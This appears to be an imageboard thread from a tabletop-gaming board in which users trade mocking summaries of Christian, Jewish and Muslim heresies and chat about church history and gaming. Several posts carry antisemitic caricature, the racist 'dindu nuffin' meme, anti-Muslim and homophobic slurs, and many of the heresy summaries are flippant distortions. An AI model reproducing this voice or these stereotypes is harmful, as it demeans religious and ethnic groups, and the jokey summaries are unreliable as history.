Sounds like you're talking about the Docetic Schism/Gnostic Heresy. It was basically Jesus was fully God but took on the outwards appearance of a human - which would sort of make him a skinwalker. Although aren't skinwalkers meant to physically change their bodies in order to adopt the appearance of people? The point I was making though was that if we try to adopt every interpretation of Christ then his character sheet would be about 50 pages long and the list of sourcebooks you'd need would form its own library.

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 No.326925

>>326920

Yeah, if you start to include shit like how according to Arius Jesus was a being created by God which, according to legend, ended up with Arius being knocked the fuck out during the first council of Nicaea by Nicholas of Myra (yes, the man who would later become Santa Clause) or Monophysitism (Jesus was part human and part divine instead of two parts in full, which raises all sorts of uncomfortable implications) you have a massive clusterfuck of a character.

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 No.326966

>>326925

Pretty much, and that's before you bring in Ebionism, Nestorianism, Apollinarianism, Eutychianism, and all the other hereisies that weren't big enough to be remembered. I think the only character to get re-imagined more often was Batman.

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 No.326969

>>326966

For the edification of those not willing to google those but still want to know the how and what:

>Ebionism

"Yes, goyim, you should follow Jewish law while rejecting the divinity of Jesus who is not Christ (it's difficult, goyim, trust me) and you should live in poverty as well."

>Nestorianism

"Jesus the man and Jesus the Son of God are two different natures, not the same person. No that does not mean that there are two Jesii running around SHIT DON'T EXCOMMUNICATE ME."

>Apollinarianism

"Jesus' body and soul were human, but his mind could not have been. What's this talk about tetrium quid SHIT DON'T EXCOMMUNICATE ME."

>Eutychianism

"Jesus' humanity was overidden/changed by his divine nature, meaning He was a different kind of human because of the divinity within Him. No hoomoousion. SHIT DON'T EXCOMMUNICATE ME. Well, if you're going to be like that I'm going to ignore this council and make my own church, with two natures and millions of followers!"

All of these are pretty old, dating to the first half millenium of Christianity. Especially the 4th century: the Church did little back then but try to formulate doctrine and call everyone heretics in the same style we on /tg/ often joke how the Imperium of Man works. A more recent one would be Feeneyism, which came from an American Jesuit preaching fire and brimstone, spitting on the Church's teachings and began to preach hardcore extra Ecclesiam, nulla salus (if you're not Catholic your soul is fucked). The Jesuits got sick of him and kicked him out in 1949, followed by an excommunication in 1953.

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 No.326974

>>326969

Holy shit, those have got the be the clearest and most interesting descriptions of the various movements I've encountered yet.

>Especially the 4th century: the Church did little back then but try to formulate doctrine and call everyone heretics in the same style we on /tg/ often joke how the Imperium of Man works

The hilarious thing about the early church councils is that rather than the calm and eloquent meeting of religious scholars that the modern church kind of wishes it could talk about it was more like an RL meeting of fa/tg/uys engaged in full blown edition wars.

>You're a heretic!

<Nuh uh, you're the heretic!

>Well if you're not going to accept that you're a heretic then I'll excommunicate you!

<You can't excommunicate me if I excommunicate YOU first!

>Oh yeah? Well I excommunicated you last week, faggot!

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 No.327022

File: c6ca1412fcf70fd⋯.png (105.17 KB,802x566,401:283,Satanic Panic.PNG)

File: 687cb0ffe5bae70⋯.png (68.62 KB,752x430,376:215,Satanic Panic2.PNG)

File: c12717a2dcd51bb⋯.png (92.14 KB,776x492,194:123,Satanic Panic3.PNG)

File: 4edc0b7f5a8d764⋯.png (80.29 KB,737x481,737:481,Satanic Panic4.PNG)

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 No.327074

>>327022

What video was this on, dubsman?

>>326969

Got anymore heresies? I know my old professor defined Arianism as the "catchy jingles and shallow theology" kinda heresy. Was annoyingly popular for a time, and then much glee was had at founder Arios dying of dysentery.

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 No.327075

The inquisition or the crusades make for good scenarios for D&D tbh.

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 No.327084

>>327075

>Inquisition

You mean investigating suspects, assembling a case, and then seeking the heretic? By the way, the Inquisitorial evidence-based method forms one of the foundations of European law.

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 No.327102

>>327074

>Got any more heresies?

I'm glad you asked! Have a few off the top of my head.

Cathars

>The world is shitty and evil. So shitty and evil that God could never have come down to it, because it's so shitty and evil. Therefore Jesus was not divine. Oh, and if the theology bores or confuses you, we do free love! (yes, they were French)

Fraticelli

>You know those Franciscan monks who live lives of poverty so strict they don't even own the clothes they wear? Yeah, well we think they're pussies who aren't trying to poverty hard enough, so screw you guys, we're out.

Henricians

>The church can't tell me what to believe or do! Just, like, read the bible and whatever it means to you is probably good enough. Just don't let us catch you actually worshipping!

and one of my all time favourites

Triclavianism

>You know how orthodox Christianity teaches that Christ was crucified with 3 nails? Well we say the Romans used four and if you disagree God will send you to Hell!

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 No.327105

File: 1e38ca16468558d⋯.pdf (16.17 KB,History Religion - Christo….pdf)

File: 120a041b4f6ed0e⋯.jpg (431.22 KB,697x477,697:477,Religion History - survey ….jpg)

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>>327102

>Cathars

Hoho. I have an Osprey book about their castles somewhere around my house. And that's another thing: They were powerful enough to commission and build their own stone castles, and enough of a threat that the Church had to wipe them out with a Crusade. How did that even happen?

>Fraticelli

Weren't those the guys Aquinas had a run-in with? Incidentally, there's little evidence he was actually imprisoned for that.

>Triclavianism

What, was there another piercing His clavicle or something? For what purpose?

Have some more heresy in the meantime.

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 No.327115

File: da85561299c25a2⋯.jpg (55.2 KB,636x635,636:635,Santa Muerte.jpg)

>>327105

>How did that even happen?

Rural medieval France was kind of disconnected. The further you got from a cathedral town the longer it would take for the Church to hear about it; if the leaders were trying to stay under the radar then they could get a fair bit done before the Archbishops and Cardinals even started to file the paperwork needed to get a crusade rolling.

>Weren't those the guys Aquinas had a run-in with?

TBH I hadn't heard that, of if I have I've forgotten it (it's been a while since I read this). Do you have a source there? I can't see the blackfriars and grayfriars getting along all that well if they ran into each other without their Abbots to keep them in line.

>What, was there another piercing His clavicle or something?

The only 'reasonable' explanation I can think of is one nail through each wrist and one through each ankle. Then again "God will send you to hell over how many nails you believe stuck his son to the cross" does not strike me as the position of someone who cares that much about being, or even appearing, reasonable.

If you're looking for something more recent your third pic reminds me of the Santa Muerte heresy from central and southern America - which has got to be, officially, the most Heavy Metal heresy on the books at the moment.

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 No.327138

>>327074

>>327102

Some more, then? Alright.

>Marcionism

"Old Testament God is a douche, New Testament God is a swell dude. What do you mean, we're heretics? We created the first official canon!"

>Circumcisers

"Yes goyim, if you have your foreskin you won't be saved by God's grace, for it is an anchor of evil. You should visit doctor Solomon Sheckelstein, he'll gladly remove it for you… for a fee of course. And since this is in the Bible we're not heretics. No need to thank me, goyim."

>Arianism

"God the Father is the dad of God the Son, and a lot of people agree with me on this. Nicholas of Myra, what are you doingOH FUCK NOT IN THE FACE."

>Sabellianism

"God the Father, God the Son and God the Holy Spirit were not different individuals with the same nature, they were the same person with different natures. What do you mean that means that God the Father died on the cross SHIT DON'T EXCOMMUNICATE ME."

>Catharism

"While we believe that God is evil and you should worship the good God instead, we're totally not Gnostics SHIT DON'T EXCOMMUNICATE ME."

>Pelagianism

"Original Sin ain't shit, all humans are born sin-neutral and can reach God under their own power without the big man having to do anything SHIT DON'T EXCOMMUNICATE ME."

>Monophysitism

"The Nestorians can go suck the biggest of dicks. Jesus had only one nature, which is part divine and part human and making him something different. No that does not mean that he can't represent humanity or God SHIT DON'T EXCOMMUNICATE ME."

>Jansenism

"Jesus only died for those who would be saved and not also the shmucks who won't be SHIT DON'T EXCOMMUNICATE ME."

>Iconoclasm

"Yeah, according to Leo III we should wreck statues and pictures of Christ and the saints because the dude listened to the muslims too much and ignores that the Bible says otherwise SHIT DON'T EXCOMMUNICATE ME."

And of course, while it's no longer a heresy it was back in the day…

>Protestantism

"Yeah, I nailed my homebrew to the church door so that people are going to playtest it in universities. What do you mean you translated it into German and spread it to the masses? Now everyone is going to play my incomplete homebrew and oh God with the killing and the burning and the iconoclasm and wars across the continent and the balkanization of the faith already!"

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 No.327140

>>327115

>Fraticelli

Wait, maybe I was mistaken. God's Philosophers mentioned briefly that some monks who went further with the poverty and asceticism were around when Aquinas was, and that he might've gotten into some minor trouble for talking with them. However, they might not've been the Fraticelli.

Speaking of them, here's a couple resources:

http://www.newadvent.org/cathen/06244b.htm

http://www.worldcat.org/title/nature-and-the-effect-of-the-heresy-of-the-fraticelli/oclc/1036993

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 No.327142

http://suptg.thisisnotatrueending.com/archive/25064626/ Oh yeah, speaking of heresies, this will never not get a laugh out of me.

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 No.327146

>>322573

>It sucks how Gygax's friends fucked him over.

It sucks how Gygax fucked over Arneson.

There are no good guys in the history of T$R.

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 No.327148

>>327146

How did that happen?

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 No.327152

File: dcbe717e3287ba0⋯.png (554.67 KB,979x735,979:735,dcbe717e3287ba03a70e94c931….png)

>>327138

>while it's no longer a heresy

fat

german

bagpipe

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 No.327158

>>327142

There are no words

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 No.327170

>>327158

Sure there are: Stubbornness, willing myopia, stunning ignorance, and lack of (un)common good sense.

>>327140

>>327152

>mfw the local Presbyterian seminary is strictly speaking a pack of heretics.

http://crusaderkings-two.wikia.com/wiki/Fraticellism This is fun too.

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 No.327229

File: 0b1564d2587b9ef⋯.jpg (196.14 KB,736x820,184:205,What about second penance.jpg)

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 No.327232

>>327229

And this is why Catholics tend to be easier going (that, and the lack of tee-totalers).

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 No.327242

>>327152

>>327229

The funny thing is that I'm not Catholic, or even Christian. I'm the kind of dick that would, upon being made Pope, take the name Peter II just to mess with people.

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 No.327251

>>327102

>>327138

>>326969

So there's this running joke in Discworld that the Church of Om, once it came under the leadership of Brutha and stopped doing the holy wars and shit, just constantly schismed. All the time. Incessantly. They'd schism over breakfast, reform over lunch, and re-schism at dinner, as a sort of jokey nod to all this nonsense.

I didn't think it got quite THIS bad in real life.

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 No.327252

>>327251

Of course, what's a religion without a good schism? Even the Jews and Muslims are doing it, if not as much as the Christians are. And most of those mentioned above stem from Catholicism, if you go into the many flavours of Protestantism you'll go cross-eyed (heh).

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 No.327261

>>327252

>And most of those mentioned above stem from Catholicism, if you go into the many flavours of Protestantism you'll go cross-eyed (heh).

At the risk of being PIDF it really isn't as bad in Protestantism as Roman propaganda would lead people to believe. Although the Roman Catholics put up a good talk about the one united church they are arguably more internally divided on more centrally important issues than any two divergant protestant groups are. Broadly speaking Protestantism branches into the Lutherans, the Reformed and the Anabaptists. The Lutherans obviously from Martin Luther, the Reformed originating out of the Swiss reformation which began almost at the exact time of Luther's reformation but independent from it and developed largely isolated from it (since Luther, jaded by his experience with the peasant revolts lumped them in as radical fringe elements and refused to work with them) and the Anabaptists or the Radical Reformation were those who fell outside the Reformed church and the Lutheran church and while not all of them were prone to violence or anarchism (many practiced radical forms of pacifism) it was out of this group that you saw the mobilized hordes of the German peasant revolts. A fourth wheel can be named in the Anglican church but it's character became over time so indebted to the Swiss reformers I personally view it as a part of that tradition, but it should be remembered that it did have a separate origin from them.

The Lutheran and Anabaptist movements, while they have a very real presence in the history of Protestantism for the Anabaptists the lack of centrally focused movement and their radically decentralized character meant they were always doomed to remaining an obscure fringe of Protestantism - and the Lutherans thanks largely to Luthers stubbornness against the Swiss reformers and their issue meant that Lutheranism couldn't help but become a largely German affair with Lutheranism only spreading internationally with the spread of the German diaspora. Thus it fell on Zwingli to be the father of global Protestantism, the Swiss reformers being coherent enough to establish self-sufficient national churches across Europe and decentralized enough to avoid the stagnation of Lutheranism and because you had figures from all across europe, Calvin and Beza from France, Knox from Scotland Bucer and Oecolampadius from Germany, Virmigli from Italy, coming to drink from the Swiss well you saw likewise those nations receiving the Reformed church rather than the Lutheran, albeit not all were very successful - the Hussites in Bohemia and the Waldensians in italy while throwing their lot in with the Reformed over time faded into obscurity, as well as Reformed movements in eastern Europe and Scandinavia.

Thus when the British Empire went conquering and to conquer across the whole of the earth, spreading with them the faith of the Anglican church global Protestantism inherited from it's traditions. Colonial ventures in north American provided a sanctuary to English separatist groups, Puritans, Brownists and Baptists who while marginalized under the direct eye of the English monarchy in the far away corners of the world where they were left largely to self-government they could flourish, and that they did, so much so that after two hundred years time the culture and identity which they had fostered for themselves in the new world would cause them to declare themselves a separate and unique people from their English forebears and found the United States.

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 No.327262

>>327261

In the late 18th and 19th and century however things began to change for Protestantism. Taking inspiration from the Dutch reformer Jacob Arminius many in the Anglican church (most famously John Wesley and George Whitefield) began to break with the Calvinist theology of old and move towards, for a lack of better words, a more liberal (though for them no less pious, they were only liberal in comparison to their predecessors not in modern terms) theology. This fresh perspective and the virgorousness of their preaching lead to what is called the Great Awakening - a radical revival of religiosity among Protestants that reshaped the very face and paradigm of Protestant religion which was only cemented by the second Great Awakening which poured out over the non-religious across North American and defining it as the face of American Christianity and would develop into that force majeure we call Evangelicalism.

All that said Protestant Churches can be classified more particularly into these groups. Lutheran Churches, Anabaptist Churches, Reformed Churches (which may or may not include the Anglican church and it's offshoots such as the Episcopalian church) and Evangelical Churches. These are where the major fault lines fall and while there are internal disagreements and separations in each group, such as Presbyterians accepting infant baptism and Baptists not, on the whole there is more agreement than disagreement and to say they are schismed is a gross over exaggeration of the situation and a misrepresentation of the historical reality which was rather than hard and violent break-ups, the majority of denominations simply evolved out of their historical, political and geographic contexts, naturally over time. What happened between the Roman west and Greek east, that was a Schism, what occured between the Protestants and Proto-Protestants and the Roman church, that was a Schism.

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 No.327264

File: cd7165e5c91e031⋯.jpg (118.61 KB,623x740,623:740,This chart reeks of heresy….jpg)

>>327242

>I'm the kind of dick that would, upon being made Pope, take the name Peter II just to mess with people.

I think that might be one of the few things that could get the Magisterium/College of Cardinals to start assassinating Popes again. Or maybe they'd elect their own Anti-pope, that worked so well last time :^)

>>327251

Yeah, don't look into the Protestants, you'll find splinter churches that split off from splinter churches, that split off from splinter churches, that split off from that church that came from that one time Luther forget to explicitly state that his work was purely academic; Pic related is ridiculously simplified and incomplete, it also doesn't show the various groups within each arm of Christianity that didn't manage to split off and form their own church (either being reabsorbed or destroyed by the parent church).

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 No.327296

>>327252

What are some Jewish heresies? I know the Muslims have their Shia and their Druuzes (aka, the friendly guys who see an old mad king as their Prophet), but little else.

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 No.327297

YouTube embed. Click thumbnail to play.

Oh yeah, also…

Adoptionism

Apollinarism

Arianism

Bogomilism

Bosnian Church

Caesaropapism

Docetism

Donatism

Euchites

Gnosticism

Luciferians

Macedonianism

Manichaeism

Marcionism

Monarchianism

Monophysitism

Montanism

Nestorianism

Patripassianism

Peter of Bruis

Priscillianism

Psilanthropism

Sabellianism

Socianism

https://orthodoxwiki.org/Bogomilism

https://orthodoxwiki.org/Category:Heresies

Heretic propaganda, here we go.

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 No.327317

>>327296

>What are some Jewish heresies?

Messianism

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 No.327319

>>327317

Very funny, anon, I meant aside from the obvious.

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 No.327327

Oh, and I was mistaken vis a vis >>327105

>>>327115

Roger Bacon was the guy who may have gotten trouble thanks to these guys.

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 No.327385

Anyone else think a setting with a bent towards the theological would be interesting? Come up with a fantasy religion with an attention to theological complexity rather than the usual sort of pagan mythology/story telling. Maybe have it be something like the Inquisitor crpg, (and I guess dark heresy now that I think about it.) where the party are investigators/inquisitors navigating the labyrinthine conspiracies of a theocratic bureaucracy. Dark Heresy minus the 40k doesn't sound like a bad idea to me at all.

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 No.327389

File: 2ae2d92b1c1c60b⋯.jpeg (112.32 KB,600x473,600:473,serveimage.jpeg)

>>327319

No, that's literally one of the heresies. Jews will proclaim that the Messiah has come, worship at his feet, then go back on it when he dies and things go on as usual. Many still believe this man is the Messiah and his resurrection is imminent, 23 years after his death.

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 No.327393

>>327297

Yeah that's going to take a bit.

>>327296

>Jewish heresies

There's a few.

>Karaism

"The Talmud and Midrash are shit, the Tanakh is where it's at. Written Law rules, Oral Law drools."

>Essenes

"Dude, let's write some shit down about a war between good and evil, hide it in some jars and wait until people find it and give it some foreboding name like the Dead Sea Scrolls. It'll be hilarious."

>Nazarenes

"Man, this Joshua Ban Joseph guy really is the best JoJo. What do you mean, you're kicking us out of the synagogue? Bah, we're going to make our own religion and it'll be the greatest in the world!"

>Muslim heresies

These are fairly rare because of the concept of bid'ha (literal: innovation). This prevents people from playing fast and loose with the faith, because it is held that when Allah dropped it on Muhammad it was considered to be perfect and you can't improve upon perfection. There are a few interpretations of Islam, but those tend to be strongly opposed by the mainstream faith.

>Ahmadiyya

"Mirza Ghulam Ahmad is also a Prophet who is going to bring forth the triumph of Islam by peaceful means and has been appointed Mujaddid, the renewer of religion. What's this? Thanks, colonial Britain for putting us in charge of things. This will surely end well and SHIT STOP BEHEADING US FOR WORKING WITH THE BRITS.

>Sufism

"Islam needs to be focused on the spiritual aspect and not on the religious laws. See? The rural folk agree with us on this, the educated Muslims are willing to let us be and SHIT WAHHABIS STOP RUINING OUR SHIT.

And while they all differ quite a bit, the Abrahamic faiths can agree on one thing:

FUCK POLYTHEISM

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 No.328105

>>327297

Alright, let's do this.

>Adoptionism

"Jesus was adopted during His baptism/resurrection/ascension. What do you mean this conflicts with Him being the eternally begotten Son of God SHIT DON'T EXCOMMUNICATE ME."

>Apollinarism

"Jesus was so fucking awesome that He didn't need a human soul and existed as pure distilled humanity SHIT DON'T EXCOMMUNICATE ME."

>Bogomilism

"Fuck the Pope, fuck the institution of the Church, we can handle our own Churchly affairs."

>Bosnian Church

"Fuck the Roman Catholic AND Eastern Orthodox Churches. The Bogomils are cool though SHIT DON'T EXCOMMUNICATE ME. TWICE. SHIT, AM I A DOUBLE HERETIC NOW?"

>Caesaropapism

"The head of state is the head of the Church as well. Ave papa!"

>Docetism

"Jesus wasn't human, he was a ghost with an ectoplasmic body or something SHIT DON'T EXCOMMUNICATE ME."

>Donatism

"PERFORM THE PRAYERS AND SACRAMENTS 100% ACCURATE AND HAND THE HOLY THINGS OVER OR THE ROMANS WILL FUCKING FEED YOU TO THE LIONS."

>Euchites

"God turned His essence into something that us lesser mortals can perceive with our mundane senses and frequently reveals Himself this way SHIT DON'T EXCOMMUNICATE ME."

>Gnosticism

"The real God isn't what we say He is: he's an evil sumbitch who was created when some cosmic tart masturbated instead of having wholesome sex with her counterpart."

>Luciferians

"Lucifer Morningstar was a good boy who dindu nuffin."

>Macedonianism

"The Father made the Son, and the Son made the Holy Spirit. And to defend this we're going to be called the spirit fighters SHIT DON'T EXCOMMUNICATE ME."

>Manichaeism

"So how about we mix Gnosticism with Zoroastrianism and see if it can beat Christianity? I think it can."

>Marcionism

"The whole thing with Jesus and Paul is legit, but the rest is a load of crap SHIT DON'T EXCOMMUNICATE ME."

>Monarchianism

"God is a single person, Trinitarianism is bullshit SHIT DON'T EXCOMMUNICATE ME."

>Montanism

"Yeah, the Church is good and all but HAVE YOU SEEN ALL THESE NEW PROPHECIES AND REVELATIONS?"

>Patripassianism

"The Father, Son and Holy Spirit are all aspects of the same deity instead of three persons within the same entity SHIT DON'T EXCOMMUNICATE ME."

>Peter of Bruis

"We should stop baptizing infants, building churches, venerating crosses, praying for the dead, transubstantiation and HOLY SHIT WHY ARE YOU BEATING ME TO DEATH I'M JUST TELLING YOU HOW TO BE A GOOD CHRISTIAN."

>Priscillianism

"If you apply massive amounts of exegesis you'll read that the Bible is about a conflict between the kingdoms of Light and Darkness, with humans being meant to conquer the darkness at the behest of the heavenly Twelve Patriarchs and defeat the rules of the Darkness, the Signs of the Zodiac… is anyone even paying attention anymore?"

>Psilanthropism

"Jesus was the son of human parents, not the Son of God. He wasn't divine, and his birth wasn't from a virgin SHIT DON'T EXCOMMUNICATE ME."

>Sabellianism

"We can't have that Patripassianism bullshit: we're the Eastern Christians instead of those heathen Westerners. So let's take the same thing they did and call it Sabellianism instead."

>Socianism

"Jesus didn't exist until He was born, humans were mortal from the get-go, Original Sin is a shit, God only knowns what will happen and not what might happen, I'm not even sure if miracles are thing and- wait, you think this is all bullshit? Well fuck you too, Imma move to Transylvania and hang out with the Unitarians there, at least they know how to play ball."

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 No.328152

>>328105

>>Priscillianism

…Is this literally Final Fantasy Tactics' plot?

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 No.328243

>>328105

>Simonianism

I'm Simon, and I'm a wizard; and Eve made the angels but was then imprisoned by demons ('cos demons are dicks like that) but she got out and reincarnated into all the cool women in history and she's now this hooker I'm really hot for. Also I am God, and also Jesus, and you should let me buy a place as an apostle, and I can levitate. What do you mean you're making a special kind of sin for me? OH FUCK DON'T STONE ME!

>Carpocratianism

We're, like, totally above all these moral laws you guys get worked up about. We've got our OWN gospel of Mark, with blackjack, and hookers, and gay guys. PARTY HARD!!!!

>Orphites

Snakes are cool! Also God was a dick and Lucifer was just trying to help Adam and Eve (did we mention that snakes are cool?). Anyway, we get snakes out as part of our Eucharist, snakes are just SOOOO cool.

>Phibionitism

We like sex. All our services end in a huge orgy, where they guys pull out and cum in a cup. We then drink the cum proclaiming "this is the body of Christ". If you can't get an orgy up and running then just jerk it in your room.

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 No.328529

>>328105

>>328243

>>327138

I've been getting the mental image of each of these heretics giving their spiel to a very bored and annoyed-looking pontiff holding a massive EXCOMMVNICATE stamp at the ready in one hand.

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 No.328567

>>327385

You mean like Dogs in the Vineyard but not gay?

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 No.328593

File: dfa103cefd1d6ed⋯.jpg (149.35 KB,623x740,623:740,fixed.jpg)

>>327264

You left out the trail of blood, don't worry I fixed it

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 No.328595

>>322634

>your kid isn't going to parties like you did growing up

>he doesnt have a girlfriend

>your kid is weird

>his friends are weird

>none of them are interested in anything that any normal kid is interested in

>he keeps talking about spells and devils and shit

>him and his creepy friends gather in the basement once a week

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 No.329669

>>328529

I prefer the image of a grey haired, bespectacled, sombre looking Catholic Inquisitor reading through reports from various agents, clergy, and random people about the various forms of heresy they think they've found.

He shifts most of the reports into a tray marked "write a 'But that's not heresy you retard!' letter" smiling that those can be handed off to an assistant. But every now and then comes across some actual heresy that he needs to identify and take action against. Most of them he can remember or look up in the small library of proscribed texts he keeps in his office, but then he finds one that has him silently mouthing "wait, what?", he reads it again, he must have misunderstood. As he finishes again he quietly mutters "OK, that can't be what these guys believe, I must have missed something". As he finishes for the third time his assistants in the next room hear him bellowing in rage "Seriously? FUCKING SERIOUSLY?! THAT'S WHAT THESE GUYS ARE PREACHING?! Antonius, get my Inquisiting hat, we're going to smash these fuckers in their FUCKING HERETICAL FACES! REEEEEEEEEEEEEE!"

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 No.329673

>>328593

This thread isn't about fanfiction.

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 No.329674

>>328567

What's bad about Dogs in the Vineyard?

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 No.329731

>>327138

>sedevacantism

THE POPE IS A HERETIC FOR ACCEPTING THE DEVIL ON HIS COURT. TO REMOVE THE KEBAB IS A HOLY DUTY, DEUS VULT

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 No.329733

>>328243

>OH FUCK DON'T STONE ME!

According to the Church tradition, Simon the sorcerer actually fell down to earth after he started levitating towards the sky.

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 No.329736

>>329733

Also according to Church tradition after he fell to Earth (when God was not impressed with his levitation) they stoned the corpse.

Have some more.

>The Gospel of Judas

Judas was Jesus's favourite apostle, and Jesus told Judas all this cool stuff that the other apostles weren't good enough to learn. Then Jesus gave Judas a secret mission to hand Jesus over to the Sanhedrin because he trusted Judas so much that the whole crucifixion thing couldn't have happened without him. Basically what I'm saying is that Judas dindu naffin.

>Gospel of Philip

Jesus and Mary Magdalene were close, like so close, seriously, I saw him kissing her *ahem*. Also who the fuck is dumb enough to believe in a virgin birth? Do you even know where babies come from? What's that? 'impregnated by the holy spirit'? Fuck you're dumb, everyone knows that the holy spirit is a chick, and lesbos can't have kids, you dumb fuck. So yeah, Joseph fucked Mary and Jesus has 2 dads. Deal with it.

>Henothiests

God is a hen. Yes, a hen. With feathers and a beak and everything. This means that Easter eggs are actually eggs laid by God and sent down to earth … wait, why are you all laughing?

>The Taiping sect

I may have failed my exams several times, and I might be Chinese, but I am Jesus's younger brother, which makes me the second son of God! That means I'm important and relevant and definitely not a failure; it also means that you need to give me money, and a palace, and chicks …. wait, you're actually doing it? Fuck yes! This is awesome!

>Abecdarians

The only knowledge that matters is knowledge from God that he sends in visions. Therefore knowing anything that didn't come in a vision will stop you getting into heaven. Anyone who knows the alphabet is a sinner.

>Movement for the restoration of the 10 sacraments.

The church has lost sight of what matters, the commandments that Moses brought down from the mountain. That's the most important part of Christianity! The 10 commandments are all that matter! Also you should fast at least one day a week (shut up, that was going to be the 11th commandment!) oh, and also sex is evil. So is soap (those were definitely commandments 12 and 13, fuck you).

>The Creativity Movement

We /pol/acks nao! Also, have you tried our game? It's called Racial Holy War!

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 No.329739

>>329736

>This means that Easter eggs are actually eggs laid by God and sent down to earth … wait, why are you all laughing?

Still not as crazy as what the Belgians believe.

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 No.329740

>>329739

>not as crazy as what the Belgians believe

I might regret this, but, go on.

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 No.329742

File: b4720d36b1e2baa⋯.jpg (37.38 KB,531x750,177:250,Easter Bells.jpg)

>>329740

After performing Gloria in excelsis Deo on the evening of Maundy Thursday all the church bells grow small angelic wings, detach themselves and fly to Rome, where they collect chocolate and sugar eggs, then fly back to Belgium. When they return on Easter Night they drop the eggs in the back yards/balconies of the houses of the faithful, then return to their churches, reattach themselves and their wings vanish. Belgian children often build nests for the bells to drop their eggs in, but sometimes the bells miss and the children have to look for the other eggs in the back yard/balcony.

This is considered a proper Catholic tradition in Belgium. Completely unlike those incredulous Protestants, who have some pagan fertility symbol deliver the eggs.

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 No.329747

>>329739

>>329742

This isn't exclusive for Belgium, parts of the Netherlands and northern France also have these stories.

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 No.329748

File: 00245b7db259884⋯.jpg (20.39 KB,550x350,11:7,I am the Belgian minister ….jpg)

>>329742

Belgium, the country so desperate to be talked about that they believe that shit, worked hard to become literally worse than Hitler 18 million killed in the Congo, and elected pic related as their minister for health.

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 No.329755

>>329736

Hey, anon, aren't you going to talk about the Lollards? We've discussed so many heresies, it'd be remiss of us to miss some.

>>328105

>>328152

>Priscillianism

>The foundation of the doctrines of the Priscillianists was Gnostic-Manichaean Dualism, a belief in the existence of two kingdoms, one of Light and one of Darkness. Angels and the souls of men were said to be severed from the substance of the Deity. Human souls were intended to conquer the Kingdom of Darkness, but fell and were imprisoned in material bodies. Thus both kingdoms were represented in man, and hence a conflict symbolized on the side of Light by the Twelve Patriarchs, heavenly spirits, who corresponded to certain of man's powers, and, on the side of Darkness, by the Signs of the Zodiac, the symbols of matter and the lower kingdom. The salvation of man consists in liberation from the domination of matter. The twelve heavenly spirits having failed to accomplish their release, the Saviour came in a heavenly body which appeared to be like that of other men, and through His doctrine and His apparent death released the souls of the men from the influence of the material.

>These doctrines could be harmonized with the teaching of Scripture only by a strange system of exegesis, in which the liberal sense was entirely rejected, and an equally strange theory of personal inspiration. The Old Testament was received, but the narrative of creation was rejected. Several of the apocryphal Scriptures were acknowledged to be genuine and inspired. The ethical side of the Dualism of Priscillian with its low concept of nature gave rise to an indecent system of asceticism as well as to some peculiar liturgical observances, such as fasting on Sundays and on Christmas Day. Because their doctrines were esoteric and exoteric, and because it was believed that men in general could not understand the higher paths, the Priscillianists, or at least those of them who were enlightened, were permitted to tell lies for the sake of a holy end. It was because this doctrine was likely to be a scandal even to the faithful that Augustine wrote his famous work, "De mendacio".

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 No.329792

>>328243

>Orphites

>They have a snake, which they keep in a certain chest—the cista mystica—and which at the hour of their mysteries they bring forth from its cave. They heap loaves upon the table and summon the serpent. Since the cave is open it comes out. It is a cunning beast and, knowing their foolish ways, it crawls up on the table and rolls in the loaves; this they say is the perfect sacrifice. Wherefore, as I have been told, they not only break the bread in which the snake has rolled and administer it to those present, but each one kisses the snake on the mouth, for the snake has been tamed by a spell, or has been made gentle for their fraud by some other diabolical method. And they fall down before it and call this the Eucharist, consummated by the beast rolling in the loaves. And through it, as they say, they send forth a hymn to the Father on high, thus concluding their mysteries.

That's actually kinda' metal.

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 No.329820

>>329792

There's still a few snake handlers out there in the Prot-o-sphere. Be sure to wear your Slayer shirt when you turn up for the service.

>>329755

TBH the Lollardy is pretty straightforwards and not all that funny.

>We think you're going too far with transubstantiation, it may be holy bread but it's still bread.

>Priests already have a job, it's an important job, so important that them holding government positions just gets in the way of being a priest.

>We don't believe that priests can forgive sins, also you should drop the whole celibacy thing.

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 No.329868

>>329748

>pic related is the minister for health of the land of fries and beer

Seems fitting.

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 No.329876

>>327138

>Adamites

Property is evil so I hope you like living in a commune, marriage is evil and chastity is kinda evil too so I hope you like the mandatory orgies also we're living gods because we're alive while Jesus is dead and btw we have to purify the Earth by KILLING ALL THE SINNERS.

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 No.329917

>>329820

lloardy seems like protestantism

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 No.330015

>>329917

It pretty much was 0th generation Protestantism. They started a fair while before Martin Luther, and as Oxford University protected them from a monarch who wanted to execute them (on the grounds of academic freedom, remember that?) Luther would probably have been familiar with their writings when he started to write his theses.

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 No.330023

>>330015

Having gotten a cradh course in anti-catholic sentiment, everyone was unaware of each other's distancing from Rome until Martin Luther's big hubbub. It was only after being repeatedly being called a 'Hussite' much to his confusion that he looked into places that had mass 'heresies' like Bohemia and Switzerland, finding ready allies instead of satan.

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 No.330825

I MISS the fucking satanic panic. How many franchises and settings were destroyed by having Christian dogma shoehorned into them? How many companies were firing and blacklisting unbelievers? Were the religious receiving full support to enforce their creed upon others by all the media, politicians and even academia with no dissent allowed?

Progressivism has been by far the worst cancer to hit geek culture, and I say this as an atheist who had to deal with Christian retardation all my life in my family.

>Devs and SJWs aside

And yes, I'm putting your aside aside out of how much I regret being so wrong about who would actually destroy my hobbies.

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 No.330827

If we already talk God, did you ever have cases of direct divine intervention in your games? As in, one of the more faithful characters sending out an emergency prayer and the respective god basically going "Oh no you fucking don't" as his or her follower is about to be struck down by a demon/lich/whatever.

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 No.330838

>>330827

As a cleric of Kord (One of my favourite archetypes) I once started an honorable duel, the guy tried poison, and the moment he swung and missed with the poisoned weapon, it was applied to him. Only, it had a delayed effect, and we were in the mid-upper levels - I had agreed to no divine magic, he to nothing outside his own sword and armor.

DM also ruled that this divinely-applied poison stacked. When I finally won with a single blow with my fist, his bones were so weakened and his flesh so soft that the DM described the effect as "Try throwing an ovverripe tomato as hard as you can at a wedding cake."

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 No.330951

>>330825

>I say this as an atheist

Convert

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 No.330998

>>330951

> convert

> not repent and believe

Do you even the Gospel of Jesus Christ?

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 No.331165

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 No.331211

File: e486ea20d35a373⋯.png (111.6 KB,500x500,1:1,ol up.png)

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 No.331846

>>323566

>"Lol they want to roleplay as catgirls!"

>"That's why nobody takes them seriously"

>on /tg/

That's why people don't take you seriously, onii-chan.

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 No.331866

>>331846

>people actually rolelaying in games

>or actually playing games

>on /tg/

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 No.331867

>>331866

This isn't halfchan, though.

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 No.331967

YouTube embed. Click thumbnail to play.

So, does the Orthodox Church not mind heresy as much or something?

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 No.331980

Alacrity

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 No.332028

>>322560

